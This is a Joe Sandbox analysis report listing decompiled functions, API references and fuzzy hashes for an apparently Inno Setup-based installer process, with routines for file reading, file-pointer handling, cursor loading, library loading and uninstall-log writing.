CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00451383), ref: 0045135D
GetLastError.KERNEL32(00000000,00000000,00000000,00451383), ref: 00451365

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 833f21c5392796a44ebcff5dc203d3b36506b61773b1d3d31a3e99eac73e82e2
Instruction ID: 27d3de9a8ed551c2def9e0a30266f883e75579bda74dad919e0820e1c2d818b9
Opcode Fuzzy Hash: 833f21c5392796a44ebcff5dc203d3b36506b61773b1d3d31a3e99eac73e82e2
Instruction Fuzzy Hash: E4F02872A04704BBDB00EFB59C51A9EB7E8DB08711F1046BBFC04E3A92E77D5E048598

Uniqueness

Uniqueness Score: -1.00%

Function 00423304 Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423304(void* __eax) {
				struct HICON__* _t5;
				void* _t7;
				void* _t8;
				struct HINSTANCE__* _t11;
				CHAR** _t12;
				void* _t13;

				_t13 = __eax;
				 *((intOrPtr*)(_t13 + 0x38)) = LoadCursorA(0, 0x7f00);
				_t8 = 0xffffffec;
				_t12 = 0x48c5e8;
				do {
					if(_t8 < 0xffffffef || _t8 > 0xfffffff4) {
						_t11 = 0;
					} else {
						_t11 =  *0x48d014; // 0x400000
					}
					_t5 = LoadCursorA(_t11,  *_t12); // executed
					_t7 = E004233F8(_t13, _t5, _t8);
					_t8 = _t8 + 1;
					_t12 =  &(_t12[1]);
				} while (_t8 != 0xffffffff);
				return _t7;
			}

0x00423308
0x00423316
0x00423319
0x0042331e
0x00423323
0x00423326
0x00423335
0x0042332d
0x0042332d
0x0042332d
0x0042333b
0x00423346
0x0042334b
0x0042334c
0x0042334f
0x00423358

APIs

LoadCursorA.USER32 ref: 00423311
LoadCursorA.USER32 ref: 0042333B

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 347c0409319e1f56965bdb416625521c8f9c73e06cce4d6ef72b792233170026
Instruction ID: 22188b5ea9937349a3dfd8468704a85441daf04a531a8cd34321fb41e475eefe
Opcode Fuzzy Hash: 347c0409319e1f56965bdb416625521c8f9c73e06cce4d6ef72b792233170026
Instruction Fuzzy Hash: ACF0AE21B001506A96109D3D5CC192A72A4DB853357A1033BFD3AC72D1CE2D5E415299

Uniqueness

Uniqueness Score: -1.00%

Function 0042E250 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0042E250(void* __eax, void* __ebx, int __edx) {
				struct HINSTANCE__* _v12;
				int _v16;
				int _t4;
				struct HINSTANCE__* _t9;
				void* _t12;
				intOrPtr _t16;
				void* _t18;
				void* _t19;
				intOrPtr _t20;

				_t18 = _t19;
				_t20 = _t19 + 0xfffffff4;
				_t12 = __eax;
				_t4 = SetErrorMode(__edx); // executed
				_v16 = _t4;
				_push(_t18);
				_push(0x42e2c2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				asm("fnstcw word [ebp-0x2]");
				_push(_t18);
				_push(0x42e2a4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				_t9 = LoadLibraryA(E00403880(_t12)); // executed
				_v12 = _t9;
				_pop(_t16);
				 *[fs:eax] = _t16;
				_push(E0042E2AB);
				asm("fclex");
				asm("fldcw word [ebp-0x2]");
				return 0;
			}

0x0042e251
0x0042e253
0x0042e257
0x0042e25a
0x0042e25f
0x0042e264
0x0042e265
0x0042e26a
0x0042e26d
0x0042e270
0x0042e275
0x0042e276
0x0042e27b
0x0042e27e
0x0042e289
0x0042e28e
0x0042e293
0x0042e296
0x0042e299
0x0042e29e
0x0042e2a0
0x0042e2a3

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042E25A
LoadLibraryA.KERNEL32(00000000,00000000,0042E2A4,?,00000000,0042E2C2,?,00008000), ref: 0042E289

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 277a05c85ebec95b677daa7bb2482bbd2ca573b6d5e399c714ed0240645873e2
Instruction ID: eb4620433745d6aaadd7bf7ad3eeabb131aa5636b129577f515715ec8a0a4f24
Opcode Fuzzy Hash: 277a05c85ebec95b677daa7bb2482bbd2ca573b6d5e399c714ed0240645873e2
Instruction Fuzzy Hash: 3EF08271604B04BEDB119F779C6282BBAFCEB09B1479348B6F800A2691E53CA810D938

Uniqueness

Uniqueness Score: -1.00%

Function 00450010 Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00450010(intOrPtr* __eax, long __ecx, void* __edx) {
				long _v16;
				int _t7;
				intOrPtr* _t12;

				_push(__ecx);
				_t12 = __eax;
				_t7 = ReadFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
				if(_t7 == 0 && ( *((char*)(_t12 + 8)) != 0 || GetLastError() != 0x6d)) {
					E0044FFFC( *_t12);
				}
				return _v16;
			}

0x00450013
0x00450018
0x00450027
0x0045002e
0x00450042
0x00450042
0x0045004e

APIs

ReadFile.KERNEL32(?,?,00000008,?,00000000,00000008,?,00000008,?,00450064,?,00000000,?,0048AAB4,00000000,0048AB11), ref: 00450027
GetLastError.KERNEL32(?,?,00000008,?,00000000,00000008,?,00000008,?,00450064,?,00000000,?,0048AAB4,00000000,0048AB11), ref: 00450036

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: c7ce94e31f8a084b0ea2430911861b691a4b1bf59cee07ff25789861d1a55257
Instruction ID: e382dd5a65e24b3f50033f774afbcb209a6bd790d932700bc5735f75aa734a37
Opcode Fuzzy Hash: c7ce94e31f8a084b0ea2430911861b691a4b1bf59cee07ff25789861d1a55257
Instruction Fuzzy Hash: 46E092652041506BEB20A65EA9C4F6B67DCCB89715F14407BF90CCB243D66CDC088779

Uniqueness

Uniqueness Score: -1.00%

Function 00450090 Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00450090(intOrPtr* __eax, void* __edx) {
				long _v16;
				long _v20;
				long _t8;
				long _t9;
				intOrPtr* _t11;

				asm("movsd");
				asm("movsd");
				_t11 = __eax;
				_t8 = SetFilePointer( *(__eax + 4), _v20,  &_v16, 0); // executed
				_t9 = _t8 + 1;
				if(_t9 == 0) {
					_t9 = GetLastError();
					if(_t9 != 0) {
						_t9 = E0044FFFC( *_t11);
					}
				}
				return _t9;
			}

0x0045009b
0x0045009c
0x0045009d
0x004500af
0x004500b4
0x004500b5
0x004500b7
0x004500be
0x004500c2
0x004500c2
0x004500be
0x004500cc

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 004500AF
GetLastError.KERNEL32(?,?,?,00000000), ref: 004500B7

Part of subcall function 0044FFFC: GetLastError.KERNEL32(0044FD08,0044FE2D,?,00000000,?,0048AA7A,00000001,00000000,00000002,00000000,0048ABE3,?,?,00000005,00000000,0048AC17), ref: 0044FFFF

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 5a7158e7444986506659a49d1eb44d979cf03257341ee793657bb57e050d1383
Instruction ID: 70d5300ea221fb13db4e7edc2c1539bb624e344269fe514c59b0ebe2e2d5d26d
Opcode Fuzzy Hash: 5a7158e7444986506659a49d1eb44d979cf03257341ee793657bb57e050d1383
Instruction Fuzzy Hash: AAE022363042009BD600E56DD880A9B73DCDF85364F140137B948CF1D1D621A8088735

Uniqueness

Uniqueness Score: -1.00%

Function 0044FEC8 Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0044FEC8(intOrPtr* __eax, long* __edx) {
				long _t8;
				long* _t11;
				intOrPtr* _t13;

				_t11 = __edx;
				_t13 = __eax;
				 *(__edx + 4) = 0;
				_t3 = _t13 + 4; // 0xfc4ce8ff
				_t8 = SetFilePointer( *_t3, 0, __edx + 4, 1); // executed
				 *_t11 = _t8;
				if( *_t11 == 0xffffffff) {
					_t8 = GetLastError();
					if(_t8 != 0) {
						return E0044FFFC( *_t13);
					}
				}
				return _t8;
			}

0x0044feca
0x0044fecc
0x0044fed0
0x0044fedb
0x0044fedf
0x0044fee4
0x0044fee9
0x0044feeb
0x0044fef2
0x00000000
0x0044fef6
0x0044fef2
0x0044fefd

APIs

SetFilePointer.KERNEL32(FC4CE8FF,00000000,?,00000001,0048B7FE,00000001,00450783,?,00000000,00000000,00000000,00000002,00000000,00475FEC), ref: 0044FEDF
GetLastError.KERNEL32(FC4CE8FF,00000000,?,00000001,0048B7FE,00000001,00450783,?,00000000,00000000,00000000,00000002,00000000,00475FEC), ref: 0044FEEB

Part of subcall function 0044FFFC: GetLastError.KERNEL32(0044FD08,0044FE2D,?,00000000,?,0048AA7A,00000001,00000000,00000002,00000000,0048ABE3,?,?,00000005,00000000,0048AC17), ref: 0044FFFF

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: cb60dc994fdb58f6fd30ee60fac722b43d5cb035f3fef4d40adc55dee35bcc8d
Instruction ID: a7619251b444916c8741956ff12f53e4d139a61023e0390af440e1e9bb03c50d
Opcode Fuzzy Hash: cb60dc994fdb58f6fd30ee60fac722b43d5cb035f3fef4d40adc55dee35bcc8d
Instruction Fuzzy Hash: B6E01A712006109BEB20EAB988C1A5372D8DB09365B248577E554CF2D6E674D8048B64

Uniqueness

Uniqueness Score: -1.00%

Function 004500D0 Relevance: 3.0, APIs: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004500D0(intOrPtr* __eax, void* __ecx, void* __edx) {
				long _v8;
				long _t7;
				long _t8;
				intOrPtr* _t10;

				_t10 = __eax;
				_v8 = 0;
				_t7 = SetFilePointer( *(__eax + 4), 0,  &_v8, 2); // executed
				_t8 = _t7 + 1;
				if(_t8 == 0) {
					_t8 = GetLastError();
					if(_t8 != 0) {
						_t8 = E0044FFFC( *_t10);
					}
				}
				return _t8;
			}

0x004500d2
0x004500d6
0x004500e6
0x004500eb
0x004500ec
0x004500ee
0x004500f5
0x004500f9
0x004500f9
0x004500f5
0x00450100

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,00468817,00000000), ref: 004500E6
GetLastError.KERNEL32(00000000,00000000,00000000,00000002,?,?,00468817,00000000), ref: 004500EE

Part of subcall function 0044FFFC: GetLastError.KERNEL32(0044FD08,0044FE2D,?,00000000,?,0048AA7A,00000001,00000000,00000002,00000000,0048ABE3,?,?,00000005,00000000,0048AC17), ref: 0044FFFF

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 1f84f636d7aed398e8a55002bd7b6dca9c86fe22014109fec411f3ec6dbebd78
Instruction ID: 478af2f33ebd703c0d4577f78845ebd3da7e59fffd56f8655c17aff3044c8671
Opcode Fuzzy Hash: 1f84f636d7aed398e8a55002bd7b6dca9c86fe22014109fec411f3ec6dbebd78
Instruction Fuzzy Hash: 12E012653483006BEB00EA7999C1B2732D8DB44704F14843BF944CF192E674DC489B25

Uniqueness

Uniqueness Score: -1.00%

Function 00406374 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406374(int __eax, long __edx) {
				void* _t2;

				_t2 = GlobalAlloc(__eax, __edx); // executed
				GlobalFix(_t2);
				return _t2;
			}

0x00406376
0x0040637c
0x00406381

APIs

GlobalAlloc.KERNEL32 ref: 00406376
GlobalFix.KERNEL32(00000000), ref: 0040637C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Global$Alloc
String ID:
API String ID: 2558781224-0
Opcode ID: 087fe30b21aebed1bbee58ca71e5d77df2e4e99abecd686fd89f03d3296f4ac7
Instruction ID: 07c32bc500a51529e755b4af09eba18ccb7fdb045e1456979bcc42b0c290a474
Opcode Fuzzy Hash: 087fe30b21aebed1bbee58ca71e5d77df2e4e99abecd686fd89f03d3296f4ac7
Instruction Fuzzy Hash: E89002C4950E0024DC40B2B20C0AD3F243CD8C071D3C0586E3100B6096883CB800483D

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 1.6, APIs: 1, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de53dd64eb86bf859e976ca87ed3b1612411e5bc4abef19b83ed798712f8f298
Instruction ID: 4888d5c5df2a00dd8709a585e54e943d84f049166da63ae2a3cb68c5ff1729c9
Opcode Fuzzy Hash: de53dd64eb86bf859e976ca87ed3b1612411e5bc4abef19b83ed798712f8f298
Instruction Fuzzy Hash: 99C19E2148E2C00FCB268B709AA55947FA0BE53310B1D5BEFC5C1BEDE7D26D59069B0A

Uniqueness

Uniqueness Score: -1.00%

Function 00458FAC Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00458FAC(void* __eax, void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, signed int _a4) {
				intOrPtr _v4104;
				intOrPtr* _v4108;
				intOrPtr _v4114;
				intOrPtr _v4118;
				char _v4120;
				intOrPtr _v4124;
				signed int _v4236;
				intOrPtr _v4240;
				intOrPtr _v4244;
				intOrPtr _v4248;
				char _v4376;
				char _v4504;
				void _v4568;
				char _v4576;
				intOrPtr _t76;
				intOrPtr _t104;
				signed char _t106;
				intOrPtr _t134;
				intOrPtr _t143;
				void* _t148;
				void* _t150;
				void* _t152;
				void* _t153;
				intOrPtr _t155;

				_t152 = _t153;
				_push(__eax);
				_t155 = _t153 + 0xffffffffffffee28;
				_t106 = __ecx;
				_t148 = __eax;
				_v4104 = 0;
				if((__ecx ^ 0x00000001) == 0) {
					_v4108 = E0044FDE4(1, 0, 2, 2);
				} else {
					_t104 = E0044FDE4(1, 0, 2, 0); // executed
					_v4108 = _t104;
				}
				_push(_t152);
				_push(0x4591b7);
				_push( *[fs:edx]);
				 *[fs:edx] = _t155;
				if((_t106 ^ 0x00000001) == 0) {
					_t111 = 0x1c0;
					E00450050(_v4108, 0x1c0,  &_v4568);
					E00450078(_v4240);
				} else {
					E00402A64( &_v4568, 0x1c0);
					_t111 = 0x1c0;
					E00450120(_v4108, 0x1c0,  &_v4568, _t152);
				}
				_t143 =  *((intOrPtr*)(_t148 + 4));
				while(_t143 != 0) {
					_v4120 =  *((intOrPtr*)(_t143 + 0x10));
					_v4118 =  *((intOrPtr*)(_t143 + 8));
					_v4114 =  *((intOrPtr*)(_t143 + 0xc));
					E00458F34( &_v4120, 0xa, _t152);
					E00458F34(_t143 + 0x12,  *((intOrPtr*)(_t143 + 0xc)), _t152);
					_pop(_t111);
					_v4244 = _v4244 + 1;
					_t143 =  *((intOrPtr*)(_t143 + 4));
				}
				E00458EB0(_t111, _t152); // executed
				E0044FEC8(_v4108,  &_v4576);
				_v4240 = _v4576;
				E00450078(0);
				memcpy( &_v4568, 0x5d6dd68 + "Inno Setup Uninstall Log (b)", 0x10 << 2);
				_t150 = _t148;
				E00407464( &_v4504, 0x7f,  *((intOrPtr*)(_t150 + 0x14)));
				if((_t106 ^ 0x00000001 | _a4) != 0) {
					E00407464( &_v4376, 0x7f,  *((intOrPtr*)(_t150 + 0x18)));
				}
				_t76 =  *((intOrPtr*)(_t150 + 0x20));
				if(_t76 > _v4248) {
					_v4248 = _t76;
				}
				_v4236 = _v4236 |  *(_t150 + 0x1d);
				_v4124 = E00450628( &_v4568, 0x1bc);
				FlushFileBuffers( *(_v4108 + 4));
				E00450120(_v4108, 0x1c0,  &_v4568, _t152);
				_pop(_t134);
				 *[fs:eax] = _t134;
				_push(0x4591be);
				return E00402CA0(_v4108);
			}

0x00458fad
0x00458fb5
0x00458fb6
0x00458fbf
0x00458fc3
0x00458fc7
0x00458fd3
0x00459005
0x00458fd5
0x00458fe4
0x00458fe9
0x00458fe9
0x0045900d
0x0045900e
0x00459013
0x00459016
0x0045901f
0x00459051
0x0045905c
0x0045906d
0x00459021
0x0045902e
0x00459039
0x00459044
0x00459044
0x00459072
0x00459077
0x0045907d
0x00459087
0x00459090
0x004590a2
0x004590af
0x004590b4
0x004590b5
0x004590bb
0x004590be
0x004590c3
0x004590d5
0x004590e0
0x004590ee
0x0045910e
0x00459110
0x0045911f
0x0045912a
0x0045913a
0x0045913a
0x0045913f
0x00459148
0x0045914a
0x0045914a
0x00459161
0x00459173
0x00459183
0x00459199
0x004591a0
0x004591a3
0x004591a6
0x004591b6

APIs

FlushFileBuffers.KERNEL32(?,00000000,004591B7,?,00000000,00000002,00000002), ref: 00459183

Part of subcall function 00450120: WriteFile.KERNEL32(?,?,00000000,00450352,00000000,00000000,?,?,?,00450352,00000000,00452881,?,0048B721,00000000,00452922), ref: 00450137

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: File$BuffersFlushWrite
String ID:
API String ID: 1012034594-0
Opcode ID: fc084228a5f3bce95dcc37af3930d5fd1fc9cfc622aaa5cead00cd3e00a863b0
Instruction ID: f6d7bcd8a638ef9ee0a8b890ff35cd320ba633cdf6a8f70c3da330163c3f7560
Opcode Fuzzy Hash: fc084228a5f3bce95dcc37af3930d5fd1fc9cfc622aaa5cead00cd3e00a863b0
Instruction Fuzzy Hash: FD51A434A002549BDB21DF25CC41ADAB3B5AB48305F0084EAED4DA7782DB78AEC98F54

Uniqueness

Uniqueness Score: -1.00%

Function 0047338C Relevance: 1.6, APIs: 1, Instructions: 125
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0047338C(long __eax, void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t16;
				intOrPtr _t17;
				void* _t22;
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t43;
				intOrPtr _t47;
				intOrPtr _t51;
				int _t54;
				intOrPtr _t55;
				void* _t58;
				void* _t60;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t75;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t88;
				intOrPtr _t89;
				void* _t93;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t101;
				void* _t102;
				long _t103;
				void* _t106;

				_t71 = __ecx;
				_t16 = __eax;
				_t103 = __eax;
				_t106 = _t103 -  *0x48cb0c; // 0x0
				if(_t106 == 0) {
					L22:
					return _t16;
				}
				_t17 =  *0x4ae1c4; // 0x2162a4c
				_t69 = E0040B504(_t17, __eax);
				_push(E004036BC( *((intOrPtr*)(_t69 + 0x18))));
				_t2 = _t69 + 0x18; // 0x18
				_t22 = E0040388C(_t2);
				_pop(_t75);
				E00450BC0(_t22, _t71, _t75);
				 *0x48cb0c = _t103;
				E00403C08(0x4ae184, _t69, 0x430c80, _t93, _t98);
				_t99 = _t69;
				memcpy(0x4ae184, _t99, 0x10 << 2);
				_t4 = _t99 + 0x20 - 0x40; // 0x4ae144
				E00403C14(_t4, 0x430c80);
				if( *((intOrPtr*)(_t69 + 0x1c)) == 0) {
					_t78 =  *0x4ae094; // 0x0
					E00403598(0x4ae20c, _t69, _t78, _t96, _t99);
				} else {
					E00403598(0x4ae20c, _t69,  *((intOrPtr*)(_t69 + 0x1c)), _t96, _t99);
				}
				if( *((intOrPtr*)(_t69 + 0x20)) == 0) {
					_t79 =  *0x4ae098; // 0x0
					E00403598(0x4ae210, _t69, _t79, _t96, _t99);
				} else {
					E00403598(0x4ae210, _t69,  *((intOrPtr*)(_t69 + 0x20)), _t96, _t99);
				}
				_t109 =  *((intOrPtr*)(_t69 + 0x24));
				if( *((intOrPtr*)(_t69 + 0x24)) == 0) {
					_t80 =  *0x4ae09c; // 0x0
					E00403598(0x4ae214, _t69, _t80, _t96, _t99);
				} else {
					E00403598(0x4ae214, _t69,  *((intOrPtr*)(_t69 + 0x24)), _t96, _t99);
				}
				_t35 =  *0x48dcd8; // 0x2179698
				E0042E964(0, 0, E00403880(_t35), _t109);
				_t39 =  *0x48dbf4; // 0x2178690
				E0042E964(1, 0, E00403880(_t39), _t109);
				_t43 =  *0x48dc80; // 0x2178e9c
				E0042E964(2, 0, E00403880(_t43), _t109);
				_t47 =  *0x48dc80; // 0x2178e9c
				E0042E964(3, 0, E00403880(_t47), _t109);
				_t85 =  *0x48ddc0; // 0x217a7a4
				_t51 =  *0x48d628; // 0x2162410
				E0042438C(_t51, _t85, _t96);
				_t16 =  *0x4ae1d0; // 0x2162a88
				_t101 =  *((intOrPtr*)(_t16 + 8)) - 1;
				if(_t101 < 0) {
					L20:
					if( *0x4adf94 == 0) {
						goto L22;
					}
					_t54 = SendNotifyMessageA( *0x4adf98, 0x496, 0x2711, _t103); // executed
					return _t54;
				} else {
					_t102 = _t101 + 1;
					_t97 = 0;
					do {
						_t55 =  *0x4ae1d0; // 0x2162a88
						_t70 = E0040B504(_t55, _t97);
						_t58 =  *((intOrPtr*)(_t70 + 0x25)) - 1;
						if(_t58 == 0) {
							_t13 = _t70 + 4; // 0x4
							_t87 =  *0x48dcbc; // 0x21794d4
							_t16 = E00403598(_t13, _t70, _t87, _t97, _t102);
						} else {
							_t60 = _t58 - 1;
							if(_t60 == 0) {
								_t14 = _t70 + 4; // 0x4
								_t88 =  *0x48dbdc; // 0x217847c
								_t16 = E00403598(_t14, _t70, _t88, _t97, _t102);
							} else {
								_t16 = _t60 - 1;
								if(_t16 == 0) {
									_t15 = _t70 + 4; // 0x4
									_t89 =  *0x48dbfc; // 0x21786fc
									_t16 = E00403598(_t15, _t70, _t89, _t97, _t102);
								}
							}
						}
						_t97 = _t97 + 1;
						_t102 = _t102 - 1;
					} while (_t102 != 0);
					goto L20;
				}
			}

0x0047338c
0x0047338c
0x00473390
0x00473392
0x00473398
0x00473542
0x00473542
0x00473542
0x004733a0
0x004733aa
0x004733b4
0x004733b5
0x004733b8
0x004733bd
0x004733be
0x004733c3
0x004733d3
0x004733d8
0x004733e4
0x004733e6
0x004733ee
0x004733f7
0x0047340d
0x00473413
0x004733f9
0x00473401
0x00473401
0x0047341c
0x00473432
0x00473438
0x0047341e
0x00473426
0x00473426
0x0047343d
0x00473441
0x00473457
0x0047345d
0x00473443
0x0047344b
0x0047344b
0x00473462
0x00473470
0x00473475
0x00473483
0x00473488
0x00473496
0x0047349b
0x004734a9
0x004734ae
0x004734b4
0x004734b9
0x004734be
0x004734c6
0x004734c9
0x0047351f
0x00473526
0x00000000
0x00000000
0x00473539
0x00000000
0x004734cb
0x004734cb
0x004734cc
0x004734ce
0x004734d0
0x004734da
0x004734df
0x004734e1
0x004734ed
0x004734f0
0x004734f6
0x004734e3
0x004734e3
0x004734e5
0x004734fd
0x00473500
0x00473506
0x004734e7
0x004734e7
0x004734e9
0x0047350d
0x00473510
0x00473516
0x00473516
0x004734e9
0x004734e5
0x0047351b
0x0047351c
0x0047351c
0x00000000
0x004734ce

APIs

SendNotifyMessageA.USER32(?,00000496,00002711,00000000), ref: 00473539

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

